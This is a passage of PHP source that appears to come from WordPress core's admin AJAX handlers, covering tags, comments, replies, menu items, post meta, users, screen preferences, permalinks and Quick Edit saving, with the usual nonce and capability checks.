	_wp_ajax_delete_comment_response( $comment->comment_ID );
	wp_die( 0 );
}

/**
 * Handles adding a link category via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_add_link_category( $action ) {
	if ( empty( $action ) ) {
		$action = 'add-link-category';
	}

	check_ajax_referer( $action );

	$taxonomy_object = get_taxonomy( 'link_category' );

	if ( ! current_user_can( $taxonomy_object->cap->manage_terms ) ) {
		wp_die( -1 );
	}

	$names = explode( ',', wp_unslash( $_POST['newcat'] ) );
	$x     = new WP_Ajax_Response();

	foreach ( $names as $cat_name ) {
		$cat_name = trim( $cat_name );
		$slug     = sanitize_title( $cat_name );

		if ( '' === $slug ) {
			continue;
		}

		$cat_id = wp_insert_term( $cat_name, 'link_category' );

		if ( ! $cat_id || is_wp_error( $cat_id ) ) {
			continue;
		} else {
			$cat_id = $cat_id['term_id'];
		}

		$cat_name = esc_html( $cat_name );

		$x->add(
			array(
				'what'     => 'link-category',
				'id'       => $cat_id,
				'data'     => "<li id='link-category-$cat_id'><label for='in-link-category-$cat_id' class='selectit'><input value='" . esc_attr( $cat_id ) . "' type='checkbox' checked='checked' name='link_category[]' id='in-link-category-$cat_id'/> $cat_name</label></li>",
				'position' => -1,
			)
		);
	}
	$x->send();
}

/**
 * Handles adding a tag via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_add_tag() {
	check_ajax_referer( 'add-tag', '_wpnonce_add-tag' );

	$taxonomy        = ! empty( $_POST['taxonomy'] ) ? $_POST['taxonomy'] : 'post_tag';
	$taxonomy_object = get_taxonomy( $taxonomy );

	if ( ! current_user_can( $taxonomy_object->cap->edit_terms ) ) {
		wp_die( -1 );
	}

	$x = new WP_Ajax_Response();

	$tag = wp_insert_term( $_POST['tag-name'], $taxonomy, $_POST );

	if ( $tag && ! is_wp_error( $tag ) ) {
		$tag = get_term( $tag['term_id'], $taxonomy );
	}

	if ( ! $tag || is_wp_error( $tag ) ) {
		$message    = __( 'An error has occurred. Please reload the page and try again.' );
		$error_code = 'error';

		if ( is_wp_error( $tag ) && $tag->get_error_message() ) {
			$message = $tag->get_error_message();
		}

		if ( is_wp_error( $tag ) && $tag->get_error_code() ) {
			$error_code = $tag->get_error_code();
		}

		$x->add(
			array(
				'what' => 'taxonomy',
				'data' => new WP_Error( $error_code, $message ),
			)
		);
		$x->send();
	}

	$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => $_POST['screen'] ) );

	$level     = 0;
	$noparents = '';

	if ( is_taxonomy_hierarchical( $taxonomy ) ) {
		$level = count( get_ancestors( $tag->term_id, $taxonomy, 'taxonomy' ) );
		ob_start();
		$wp_list_table->single_row( $tag, $level );
		$noparents = ob_get_clean();
	}

	ob_start();
	$wp_list_table->single_row( $tag );
	$parents = ob_get_clean();

	require ABSPATH . 'wp-admin/includes/edit-tag-messages.php';

	$message = '';
	if ( isset( $messages[ $taxonomy_object->name ][1] ) ) {
		$message = $messages[ $taxonomy_object->name ][1];
	} elseif ( isset( $messages['_item'][1] ) ) {
		$message = $messages['_item'][1];
	}

	$x->add(
		array(
			'what'         => 'taxonomy',
			'data'         => $message,
			'supplemental' => array(
				'parents'   => $parents,
				'noparents' => $noparents,
				'notice'    => $message,
			),
		)
	);

	$x->add(
		array(
			'what'         => 'term',
			'position'     => $level,
			'supplemental' => (array) $tag,
		)
	);

	$x->send();
}

/**
 * Handles getting a tagcloud via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_get_tagcloud() {
	if ( ! isset( $_POST['tax'] ) ) {
		wp_die( 0 );
	}

	$taxonomy        = sanitize_key( $_POST['tax'] );
	$taxonomy_object = get_taxonomy( $taxonomy );

	if ( ! $taxonomy_object ) {
		wp_die( 0 );
	}

	if ( ! current_user_can( $taxonomy_object->cap->assign_terms ) ) {
		wp_die( -1 );
	}

	$tags = get_terms(
		array(
			'taxonomy' => $taxonomy,
			'number'   => 45,
			'orderby'  => 'count',
			'order'    => 'DESC',
		)
	);

	if ( empty( $tags ) ) {
		wp_die( $taxonomy_object->labels->not_found );
	}

	if ( is_wp_error( $tags ) ) {
		wp_die( $tags->get_error_message() );
	}

	foreach ( $tags as $key => $tag ) {
		$tags[ $key ]->link = '#';
		$tags[ $key ]->id   = $tag->term_id;
	}

	// We need raw tag names here, so don't filter the output.
	$return = wp_generate_tag_cloud(
		$tags,
		array(
			'filter' => 0,
			'format' => 'list',
		)
	);

	if ( empty( $return ) ) {
		wp_die( 0 );
	}

	echo $return;
	wp_die();
}

/**
 * Handles getting comments via AJAX.
 *
 * @since 3.1.0
 *
 * @global int $post_id
 *
 * @param string $action Action to perform.
 */
function wp_ajax_get_comments( $action ) {
	global $post_id;

	if ( empty( $action ) ) {
		$action = 'get-comments';
	}

	check_ajax_referer( $action );

	if ( empty( $post_id ) && ! empty( $_REQUEST['p'] ) ) {
		$id = absint( $_REQUEST['p'] );
		if ( ! empty( $id ) ) {
			$post_id = $id;
		}
	}

	if ( empty( $post_id ) ) {
		wp_die( -1 );
	}

	$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );

	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

	$wp_list_table->prepare_items();

	if ( ! $wp_list_table->has_items() ) {
		wp_die( 1 );
	}

	$x = new WP_Ajax_Response();

	ob_start();
	foreach ( $wp_list_table->items as $comment ) {
		if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && 0 === $comment->comment_approved ) {
			continue;
		}
		get_comment( $comment );
		$wp_list_table->single_row( $comment );
	}
	$comment_list_item = ob_get_clean();

	$x->add(
		array(
			'what' => 'comments',
			'data' => $comment_list_item,
		)
	);

	$x->send();
}

/**
 * Handles replying to a comment via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_replyto_comment( $action ) {
	if ( empty( $action ) ) {
		$action = 'replyto-comment';
	}

	check_ajax_referer( $action, '_ajax_nonce-replyto-comment' );

	$comment_post_id = (int) $_POST['comment_post_ID'];
	$post            = get_post( $comment_post_id );

	if ( ! $post ) {
		wp_die( -1 );
	}

	if ( ! current_user_can( 'edit_post', $comment_post_id ) ) {
		wp_die( -1 );
	}

	if ( empty( $post->post_status ) ) {
		wp_die( 1 );
	} elseif ( in_array( $post->post_status, array( 'draft', 'pending', 'trash' ), true ) ) {
		wp_die( __( 'You cannot reply to a comment on a draft post.' ) );
	}

	$user = wp_get_current_user();

	if ( $user->exists() ) {
		$comment_author       = wp_slash( $user->display_name );
		$comment_author_email = wp_slash( $user->user_email );
		$comment_author_url   = wp_slash( $user->user_url );
		$user_id              = $user->ID;

		if ( current_user_can( 'unfiltered_html' ) ) {
			if ( ! isset( $_POST['_wp_unfiltered_html_comment'] ) ) {
				$_POST['_wp_unfiltered_html_comment'] = '';
			}

			if ( wp_create_nonce( 'unfiltered-html-comment' ) != $_POST['_wp_unfiltered_html_comment'] ) {
				kses_remove_filters(); // Start with a clean slate.
				kses_init_filters();   // Set up the filters.
				remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
				add_filter( 'pre_comment_content', 'wp_filter_kses' );
			}
		}
	} else {
		wp_die( __( 'Sorry, you must be logged in to reply to a comment.' ) );
	}

	$comment_content = trim( $_POST['content'] );

	if ( '' === $comment_content ) {
		wp_die( __( 'Please type your comment text.' ) );
	}

	$comment_type = isset( $_POST['comment_type'] ) ? trim( $_POST['comment_type'] ) : 'comment';

	$comment_parent = 0;

	if ( isset( $_POST['comment_ID'] ) ) {
		$comment_parent = absint( $_POST['comment_ID'] );
	}

	$comment_auto_approved = false;

	$commentdata = array(
		'comment_post_ID' => $comment_post_id,
	);

	$commentdata += compact(
		'comment_author',
		'comment_author_email',
		'comment_author_url',
		'comment_content',
		'comment_type',
		'comment_parent',
		'user_id'
	);

	// Automatically approve parent comment.
	if ( ! empty( $_POST['approve_parent'] ) ) {
		$parent = get_comment( $comment_parent );

		if ( $parent && '0' === $parent->comment_approved && $parent->comment_post_ID == $comment_post_id ) {
			if ( ! current_user_can( 'edit_comment', $parent->comment_ID ) ) {
				wp_die( -1 );
			}

			if ( wp_set_comment_status( $parent, 'approve' ) ) {
				$comment_auto_approved = true;
			}
		}
	}

	$comment_id = wp_new_comment( $commentdata );

	if ( is_wp_error( $comment_id ) ) {
		wp_die( $comment_id->get_error_message() );
	}

	$comment = get_comment( $comment_id );

	if ( ! $comment ) {
		wp_die( 1 );
	}

	$position = ( isset( $_POST['position'] ) && (int) $_POST['position'] ) ? (int) $_POST['position'] : '-1';

	ob_start();
	if ( isset( $_REQUEST['mode'] ) && 'dashboard' === $_REQUEST['mode'] ) {
		require_once ABSPATH . 'wp-admin/includes/dashboard.php';
		_wp_dashboard_recent_comments_row( $comment );
	} else {
		if ( isset( $_REQUEST['mode'] ) && 'single' === $_REQUEST['mode'] ) {
			$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
		} else {
			$wp_list_table = _get_list_table( 'WP_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
		}
		$wp_list_table->single_row( $comment );
	}
	$comment_list_item = ob_get_clean();

	$response = array(
		'what'     => 'comment',
		'id'       => $comment->comment_ID,
		'data'     => $comment_list_item,
		'position' => $position,
	);

	$counts                   = wp_count_comments();
	$response['supplemental'] = array(
		'in_moderation'        => $counts->moderated,
		'i18n_comments_text'   => sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s Comment', '%s Comments', $counts->approved ),
			number_format_i18n( $counts->approved )
		),
		'i18n_moderation_text' => sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s Comment in moderation', '%s Comments in moderation', $counts->moderated ),
			number_format_i18n( $counts->moderated )
		),
	);

	if ( $comment_auto_approved ) {
		$response['supplemental']['parent_approved'] = $parent->comment_ID;
		$response['supplemental']['parent_post_id']  = $parent->comment_post_ID;
	}

	$x = new WP_Ajax_Response();
	$x->add( $response );
	$x->send();
}

/**
 * Handles editing a comment via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_edit_comment() {
	check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' );

	$comment_id = (int) $_POST['comment_ID'];

	if ( ! current_user_can( 'edit_comment', $comment_id ) ) {
		wp_die( -1 );
	}

	if ( '' === $_POST['content'] ) {
		wp_die( __( 'Please type your comment text.' ) );
	}

	if ( isset( $_POST['status'] ) ) {
		$_POST['comment_status'] = $_POST['status'];
	}

	$updated = edit_comment();
	if ( is_wp_error( $updated ) ) {
		wp_die( $updated->get_error_message() );
	}

	$position      = ( isset( $_POST['position'] ) && (int) $_POST['position'] ) ? (int) $_POST['position'] : '-1';
	$checkbox      = ( isset( $_POST['checkbox'] ) && true == $_POST['checkbox'] ) ? 1 : 0;
	$wp_list_table = _get_list_table( $checkbox ? 'WP_Comments_List_Table' : 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );

	$comment = get_comment( $comment_id );

	if ( empty( $comment->comment_ID ) ) {
		wp_die( -1 );
	}

	ob_start();
	$wp_list_table->single_row( $comment );
	$comment_list_item = ob_get_clean();

	$x = new WP_Ajax_Response();

	$x->add(
		array(
			'what'     => 'edit_comment',
			'id'       => $comment->comment_ID,
			'data'     => $comment_list_item,
			'position' => $position,
		)
	);

	$x->send();
}

/**
 * Handles adding a menu item via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_add_menu_item() {
	check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );

	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

	/*
	 * For performance reasons, we omit some object properties from the checklist.
	 * The following is a hacky way to restore them when adding non-custom items.
	 */
	$menu_items_data = array();

	foreach ( (array) $_POST['menu-item'] as $menu_item_data ) {
		if (
			! empty( $menu_item_data['menu-item-type'] ) &&
			'custom' !== $menu_item_data['menu-item-type'] &&
			! empty( $menu_item_data['menu-item-object-id'] )
		) {
			switch ( $menu_item_data['menu-item-type'] ) {
				case 'post_type':
					$_object = get_post( $menu_item_data['menu-item-object-id'] );
					break;

				case 'post_type_archive':
					$_object = get_post_type_object( $menu_item_data['menu-item-object'] );
					break;

				case 'taxonomy':
					$_object = get_term( $menu_item_data['menu-item-object-id'], $menu_item_data['menu-item-object'] );
					break;
			}

			$_menu_items = array_map( 'wp_setup_nav_menu_item', array( $_object ) );
			$_menu_item  = reset( $_menu_items );

			// Restore the missing menu item properties.
			$menu_item_data['menu-item-description'] = $_menu_item->description;
		}

		$menu_items_data[] = $menu_item_data;
	}

	$item_ids = wp_save_nav_menu_items( 0, $menu_items_data );
	if ( is_wp_error( $item_ids ) ) {
		wp_die( 0 );
	}

	$menu_items = array();

	foreach ( (array) $item_ids as $menu_item_id ) {
		$menu_obj = get_post( $menu_item_id );

		if ( ! empty( $menu_obj->ID ) ) {
			$menu_obj        = wp_setup_nav_menu_item( $menu_obj );
			$menu_obj->title = empty( $menu_obj->title ) ? __( 'Menu Item' ) : $menu_obj->title;
			$menu_obj->label = $menu_obj->title; // Don't show "(pending)" in ajax-added items.
			$menu_items[]    = $menu_obj;
		}
	}

	/** This filter is documented in wp-admin/includes/nav-menu.php */
	$walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $_POST['menu'] );

	if ( ! class_exists( $walker_class_name ) ) {
		wp_die( 0 );
	}

	if ( ! empty( $menu_items ) ) {
		$args = array(
			'after'       => '',
			'before'      => '',
			'link_after'  => '',
			'link_before' => '',
			'walker'      => new $walker_class_name(),
		);

		echo walk_nav_menu_tree( $menu_items, 0, (object) $args );
	}

	wp_die();
}

/**
 * Handles adding meta via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_add_meta() {
	check_ajax_referer( 'add-meta', '_ajax_nonce-add-meta' );
	$c    = 0;
	$pid  = (int) $_POST['post_id'];
	$post = get_post( $pid );

	if ( isset( $_POST['metakeyselect'] ) || isset( $_POST['metakeyinput'] ) ) {
		if ( ! current_user_can( 'edit_post', $pid ) ) {
			wp_die( -1 );
		}

		if ( isset( $_POST['metakeyselect'] ) && '#NONE#' === $_POST['metakeyselect'] && empty( $_POST['metakeyinput'] ) ) {
			wp_die( 1 );
		}

		// If the post is an autodraft, save the post as a draft and then attempt to save the meta.
		if ( 'auto-draft' === $post->post_status ) {
			$post_data                = array();
			$post_data['action']      = 'draft'; // Warning fix.
			$post_data['post_ID']     = $pid;
			$post_data['post_type']   = $post->post_type;
			$post_data['post_status'] = 'draft';
			$now                      = time();
			/* translators: 1: Post creation date, 2: Post creation time. */
			$post_data['post_title'] = sprintf( __( 'Draft created on %1$s at %2$s' ), gmdate( __( 'F j, Y' ), $now ), gmdate( __( 'g:i a' ), $now ) );

			$pid = edit_post( $post_data );

			if ( $pid ) {
				if ( is_wp_error( $pid ) ) {
					$x = new WP_Ajax_Response(
						array(
							'what' => 'meta',
							'data' => $pid,
						)
					);
					$x->send();
				}

				$mid = add_meta( $pid );
				if ( ! $mid ) {
					wp_die( __( 'Please provide a custom field value.' ) );
				}
			} else {
				wp_die( 0 );
			}
		} else {
			$mid = add_meta( $pid );
			if ( ! $mid ) {
				wp_die( __( 'Please provide a custom field value.' ) );
			}
		}

		$meta = get_metadata_by_mid( 'post', $mid );
		$pid  = (int) $meta->post_id;
		$meta = get_object_vars( $meta );

		$x = new WP_Ajax_Response(
			array(
				'what'         => 'meta',
				'id'           => $mid,
				'data'         => _list_meta_row( $meta, $c ),
				'position'     => 1,
				'supplemental' => array( 'postid' => $pid ),
			)
		);
	} else { // Update?
		$mid   = (int) key( $_POST['meta'] );
		$key   = wp_unslash( $_POST['meta'][ $mid ]['key'] );
		$value = wp_unslash( $_POST['meta'][ $mid ]['value'] );

		if ( '' === trim( $key ) ) {
			wp_die( __( 'Please provide a custom field name.' ) );
		}

		$meta = get_metadata_by_mid( 'post', $mid );

		if ( ! $meta ) {
			wp_die( 0 ); // If meta doesn't exist.
		}

		if (
			is_protected_meta( $meta->meta_key, 'post' ) || is_protected_meta( $key, 'post' ) ||
			! current_user_can( 'edit_post_meta', $meta->post_id, $meta->meta_key ) ||
			! current_user_can( 'edit_post_meta', $meta->post_id, $key )
		) {
			wp_die( -1 );
		}

		if ( $meta->meta_value != $value || $meta->meta_key != $key ) {
			$u = update_metadata_by_mid( 'post', $mid, $value, $key );
			if ( ! $u ) {
				wp_die( 0 ); // We know meta exists; we also know it's unchanged (or DB error, in which case there are bigger problems).
			}
		}

		$x = new WP_Ajax_Response(
			array(
				'what'         => 'meta',
				'id'           => $mid,
				'old_id'       => $mid,
				'data'         => _list_meta_row(
					array(
						'meta_key'   => $key,
						'meta_value' => $value,
						'meta_id'    => $mid,
					),
					$c
				),
				'position'     => 0,
				'supplemental' => array( 'postid' => $meta->post_id ),
			)
		);
	}
	$x->send();
}

/**
 * Handles adding a user via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_add_user( $action ) {
	if ( empty( $action ) ) {
		$action = 'add-user';
	}

	check_ajax_referer( $action );

	if ( ! current_user_can( 'create_users' ) ) {
		wp_die( -1 );
	}

	$user_id = edit_user();

	if ( ! $user_id ) {
		wp_die( 0 );
	} elseif ( is_wp_error( $user_id ) ) {
		$x = new WP_Ajax_Response(
			array(
				'what' => 'user',
				'id'   => $user_id,
			)
		);
		$x->send();
	}

	$user_object   = get_userdata( $user_id );
	$wp_list_table = _get_list_table( 'WP_Users_List_Table' );

	$role = current( $user_object->roles );

	$x = new WP_Ajax_Response(
		array(
			'what'         => 'user',
			'id'           => $user_id,
			'data'         => $wp_list_table->single_row( $user_object, '', $role ),
			'supplemental' => array(
				'show-link' => sprintf(
					/* translators: %s: The new user. */
					__( 'User %s added' ),
					'<a href="#user-' . $user_id . '">' . $user_object->user_login . '</a>'
				),
				'role'      => $role,
			),
		)
	);
	$x->send();
}

/**
 * Handles closed post boxes via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_closed_postboxes() {
	check_ajax_referer( 'closedpostboxes', 'closedpostboxesnonce' );
	$closed = isset( $_POST['closed'] ) ? explode( ',', $_POST['closed'] ) : array();
	$closed = array_filter( $closed );

	$hidden = isset( $_POST['hidden'] ) ? explode( ',', $_POST['hidden'] ) : array();
	$hidden = array_filter( $hidden );

	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';

	if ( sanitize_key( $page ) != $page ) {
		wp_die( 0 );
	}

	$user = wp_get_current_user();
	if ( ! $user ) {
		wp_die( -1 );
	}

	if ( is_array( $closed ) ) {
		update_user_meta( $user->ID, "closedpostboxes_$page", $closed );
	}

	if ( is_array( $hidden ) ) {
		// Postboxes that are always shown.
		$hidden = array_diff( $hidden, array( 'submitdiv', 'linksubmitdiv', 'manage-menu', 'create-menu' ) );
		update_user_meta( $user->ID, "metaboxhidden_$page", $hidden );
	}

	wp_die( 1 );
}

/**
 * Handles hidden columns via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_hidden_columns() {
	check_ajax_referer( 'screen-options-nonce', 'screenoptionnonce' );
	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';

	if ( sanitize_key( $page ) != $page ) {
		wp_die( 0 );
	}

	$user = wp_get_current_user();
	if ( ! $user ) {
		wp_die( -1 );
	}

	$hidden = ! empty( $_POST['hidden'] ) ? explode( ',', $_POST['hidden'] ) : array();
	update_user_meta( $user->ID, "manage{$page}columnshidden", $hidden );

	wp_die( 1 );
}

/**
 * Handles updating whether to display the welcome panel via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_update_welcome_panel() {
	check_ajax_referer( 'welcome-panel-nonce', 'welcomepanelnonce' );

	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	update_user_meta( get_current_user_id(), 'show_welcome_panel', empty( $_POST['visible'] ) ? 0 : 1 );

	wp_die( 1 );
}

/**
 * Handles for retrieving menu meta boxes via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_menu_get_metabox() {
	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

	if ( isset( $_POST['item-type'] ) && 'post_type' === $_POST['item-type'] ) {
		$type     = 'posttype';
		$callback = 'wp_nav_menu_item_post_type_meta_box';
		$items    = (array) get_post_types( array( 'show_in_nav_menus' => true ), 'object' );
	} elseif ( isset( $_POST['item-type'] ) && 'taxonomy' === $_POST['item-type'] ) {
		$type     = 'taxonomy';
		$callback = 'wp_nav_menu_item_taxonomy_meta_box';
		$items    = (array) get_taxonomies( array( 'show_ui' => true ), 'object' );
	}

	if ( ! empty( $_POST['item-object'] ) && isset( $items[ $_POST['item-object'] ] ) ) {
		$menus_meta_box_object = $items[ $_POST['item-object'] ];

		/** This filter is documented in wp-admin/includes/nav-menu.php */
		$item = apply_filters( 'nav_menu_meta_box_object', $menus_meta_box_object );

		$box_args = array(
			'id'       => 'add-' . $item->name,
			'title'    => $item->labels->name,
			'callback' => $callback,
			'args'     => $item,
		);

		ob_start();
		$callback( null, $box_args );

		$markup = ob_get_clean();

		echo wp_json_encode(
			array(
				'replace-id' => $type . '-' . $item->name,
				'markup'     => $markup,
			)
		);
	}

	wp_die();
}

/**
 * Handles internal linking via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_wp_link_ajax() {
	check_ajax_referer( 'internal-linking', '_ajax_linking_nonce' );

	$args = array();

	if ( isset( $_POST['search'] ) ) {
		$args['s'] = wp_unslash( $_POST['search'] );
	}

	if ( isset( $_POST['term'] ) ) {
		$args['s'] = wp_unslash( $_POST['term'] );
	}

	$args['pagenum'] = ! empty( $_POST['page'] ) ? absint( $_POST['page'] ) : 1;

	if ( ! class_exists( '_WP_Editors', false ) ) {
		require ABSPATH . WPINC . '/class-wp-editor.php';
	}

	$results = _WP_Editors::wp_link_query( $args );

	if ( ! isset( $results ) ) {
		wp_die( 0 );
	}

	echo wp_json_encode( $results );
	echo "\n";

	wp_die();
}

/**
 * Handles saving menu locations via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_menu_locations_save() {
	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );

	if ( ! isset( $_POST['menu-locations'] ) ) {
		wp_die( 0 );
	}

	set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_POST['menu-locations'] ) );
	wp_die( 1 );
}

/**
 * Handles saving the meta box order via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_meta_box_order() {
	check_ajax_referer( 'meta-box-order' );
	$order        = isset( $_POST['order'] ) ? (array) $_POST['order'] : false;
	$page_columns = isset( $_POST['page_columns'] ) ? $_POST['page_columns'] : 'auto';

	if ( 'auto' !== $page_columns ) {
		$page_columns = (int) $page_columns;
	}

	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';

	if ( sanitize_key( $page ) != $page ) {
		wp_die( 0 );
	}

	$user = wp_get_current_user();
	if ( ! $user ) {
		wp_die( -1 );
	}

	if ( $order ) {
		update_user_meta( $user->ID, "meta-box-order_$page", $order );
	}

	if ( $page_columns ) {
		update_user_meta( $user->ID, "screen_layout_$page", $page_columns );
	}

	wp_send_json_success();
}

/**
 * Handles menu quick searching via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_menu_quick_search() {
	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

	_wp_ajax_menu_quick_search( $_POST );

	wp_die();
}

/**
 * Handles retrieving a permalink via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_get_permalink() {
	check_ajax_referer( 'getpermalink', 'getpermalinknonce' );
	$post_id = isset( $_POST['post_id'] ) ? (int) $_POST['post_id'] : 0;
	wp_die( get_preview_post_link( $post_id ) );
}

/**
 * Handles retrieving a sample permalink via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_sample_permalink() {
	check_ajax_referer( 'samplepermalink', 'samplepermalinknonce' );
	$post_id = isset( $_POST['post_id'] ) ? (int) $_POST['post_id'] : 0;
	$title   = isset( $_POST['new_title'] ) ? $_POST['new_title'] : '';
	$slug    = isset( $_POST['new_slug'] ) ? $_POST['new_slug'] : null;
	wp_die( get_sample_permalink_html( $post_id, $title, $slug ) );
}

/**
 * Handles Quick Edit saving a post from a list table via AJAX.
 *
 * @since 3.1.0
 *
 * @global string $mode List table view mode.
 */
function wp_ajax_inline_save() {
	global $mode;

	check_ajax_referer( 'inlineeditnonce', '_inline_edit' );

	if ( ! isset( $_POST['post_ID'] ) || ! (int) $_POST['post_ID'] ) {
		wp_die();
	}

	$post_id = (int) $_POST['post_ID'];

	if ( 'page' === $_POST['post_type'] ) {
		if ( ! current_user_can( 'edit_page', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this page.' ) );
		}
	} else {
		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
		}
	}

	$last = wp_check_post_lock( $post_id );
	if ( $last ) {
		$last_user      = get_userdata( $last );
		$last_user_name = $last_user ? $last_user->display_name : __( 'Someone' );

		/* translators: %s: User's display name. */
		$msg_template = __( 'Saving is disabled: %s is currently editing this post.' );

		if ( 'page' === $_POST['post_type'] ) {
			/* translators: %s: User's display name. */
			$msg_template = __( 'Saving is disabled: %s is currently editing this page.' );
		}

		printf( $msg_template, esc_html( $last_user_name ) );
		wp_die();
	}

	$data = &$_POST;

	$post = get_post( $post_id, ARRAY_A );

	// Since it's coming from the database.
	$post = wp_slash( $post );

	$data['content'] = $post['post_content'];
	$data['excerpt'] = $post['post_excerpt'];

	// Rename.
	$data['user_ID'] = get_current_user_id();

	if ( isset( $data['post_parent'] ) ) {
		$data['parent_id'] = $data['post_parent'];
	}

	// Status.
	if ( isset( $data['keep_private'] ) && 'private' === $data['keep_private'] ) {
		$data['visibility']  = 'private';
		$data['post_status'] = 'private';
	} else {
		$data['post_status'] = $data['_status'];
	}

	if ( empty( $data['comment_status'] ) ) {
		$data['comment_status'] = 'closed';
	}

	if ( empty( $data['ping_status'] ) ) {
		$data['ping_status'] = 'closed';
	}

	// Exclude terms from taxonomies that are not supposed to appear in Quick Edit.
	if ( ! empty( $data['tax_input'] ) ) {
		foreach ( $data['tax_input'] as $taxonomy => $terms ) {
			$tax_object = get_taxonomy( $taxonomy );
			/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
			if ( ! apply_filters( 'quick_edit_show_taxonomy', $tax_object->show_in_quick_edit, $taxonomy, $post['post_type'] ) ) {
				unset( $data['tax_input'][ $taxonomy ] );
			}
		}
	}

	// Hack: wp_unique_post_slug() doesn't work for drafts, so we will fake that our post is published.
	if ( ! empty( $data['post_name'] ) && in_array( $post['post_status'], array( 'draft', 'pending' ), true ) ) {
		$post['post_status'] = 'publish';
		$data['post_name']   = wp_unique_post_slug( $data['post_name'], $post['ID'], $post['post_status'], $post['post_type'], $post['post_parent'] );
	}

	// Update the post.
	edit_post();

	$wp_list_table = _get_list_table( 'WP_Posts_List_Table', array( 'screen' => $_POST['screen'] ) );

	$mode = 'excerpt' === $_POST['post_view'] ? 'excerpt' : 'list';

	$level = 0;
	if ( is_post_type_hierarchical( $wp_list_table->screen->post_type ) ) {
		$request_post = array( get_post( $_POST['post_ID'] ) );
		$parent       = $request_post[0]->post_parent;

		while ( $parent > 0 ) {
			$parent_post = get_post( $parent );
			$parent      = $parent_post->post_parent;
			++$level;
		}
	}

	$wp_list_table->display_rows( array( get_post( $_POST['post_ID'] ) ), $level );

	wp_die();
}

/**
 * Handles Quick Edit saving for a term via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_inline_save_tax() {
	check_ajax_referer( 'taxinlineeditnonce', '_inline_edit' );

	$taxonomy        = sanitize_key( $_POST['taxonomy'] );
	$taxonomy_object = get_taxonomy( $taxonomy );

	if ( ! $taxonomy_object ) {
		wp_die( 0 );
	}

	if ( ! isset( $_POST['tax_ID'] ) || ! (int) $_POST['tax_ID'] ) {
		wp_die( -1 );
	}

	$id = (int) $_POST['tax_ID'];

	if ( ! current_user_can( 'edit_term', $id ) ) {
		wp_die( -1 );
	}

	$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => 'edit-' . $taxonomy ) );

	$tag                  = get_term( $id, $taxonomy );
	$_POST['description'] = $tag->description;

	$updated = wp_update_term( $id, $taxonomy, $_POST );

	if ( $updated && ! is_wp_error( $updated ) ) {
		$tag = get_term( $updated['term_id'], $taxonomy );
		if ( ! $tag || is_wp_error( $tag ) ) {
			if ( is_wp_error( $tag ) && $tag->get_error_message() ) {
				wp_die( $tag->get_error_message() );
			}
			wp_die( __( 'Item not updated.' ) );
		}
	} else {
		if ( is_wp_error( $updated ) && $updated->get_error_message() ) {
			wp_die( $updated->get_error_message() );
		}
		wp_die( __( 'Item not updated.' ) );
	}

	$level  = 0;
	$parent = $tag->parent;

	while ( $parent > 0 ) {
		$parent_tag = get_term( $parent, $taxonomy );
		$parent     = $parent_tag->parent;
		++$level;
	}

	$wp_list_table->single_row( $tag, $level );
	wp_die();
}

/**
 * Handles querying posts for the Find Posts modal via AJAX.
 *
 * @see window.findPosts
 *
 * @since 3.1.0
 */
function wp_ajax_find_posts() {
	check_ajax_referer( 'find-posts' );

	$post_types = get_post_types( array( 'public' => true ), 'objects' );
	unset( $post_types['attachment'] );

	$args = array(
		'post_type'      => array_keys( $post_types ),
		'post_status'    => 'any',
		'posts_per_page' => 50,
	);

	$search = wp_unslash( $_POST['ps'] );

	if ( '' !== $search ) {
